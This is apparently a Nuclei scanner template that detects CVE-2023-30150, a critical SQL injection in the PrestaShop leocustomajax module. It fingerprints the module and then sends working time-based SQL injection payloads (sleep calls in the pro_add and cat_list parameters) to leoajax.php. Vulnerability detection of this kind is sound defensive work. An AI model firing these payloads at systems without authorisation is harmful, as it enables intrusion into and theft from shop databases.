id: CVE-2023-30150

info:
  name: PrestaShop leocustomajax 1.0 & 1.0.0 - SQL Injection
  author: mastercho
  severity: critical
  description: |
    PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the PrestaShop application and its underlying database.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of PrestaShop leocustomajax plugin to mitigate the SQL Injection vulnerability.
  reference:
    - https://security.friendsofpresta.org/module/2023/06/06/leocustomajax.html
    - https://www.tenable.com/cve/CVE-2023-30150
    - https://friends-of-presta.github.io/security-advisories/module/2023/06/06/leocustomajax.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30150
    cwe-id: CWE-89
    epss-score: 0.03849
    epss-percentile: 0.89083
    cpe: cpe:2.3:a:leotheme:leocustomajax:1.0.0:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: leotheme
    product: leocustomajax
    framework: prestashop
    shodan-query: http.component:"Prestashop"
  tags: cve,cve2023,prestashop,sqli,time-based-sqli,leotheme,vkev,vuln

variables:
  random_id: "{{rand_text_numeric(13)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /modules/leocustomajax/leocustomajax.js HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_any(body, 'processajax', 'leoajax', 'leocustomajax.css', 'leosearch')"
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /modules/leocustomajax/leoajax.php?rand={{random_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}
        X-Requested-With: XMLHttpRequest

        leoajax=1&pro_add=if(now()=sysdate()%2Csleep(6)%2C0)

      - |
        @timeout: 20s
        GET /modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a) HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'contains(tolower(body_1), "pro_add")'
        condition: and

      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4b0a00483046022100bb7fb9f70cf1145f8d81cf62f50fc0f442afd26dbaac6cd18a1f78872e26c52c0221008d07a5c05a1cb271913e8ea33ba6763d32e5c2cf4c0049c73b1dd68aaaf8e70f:922c64590222798bb761d5b6d8e72950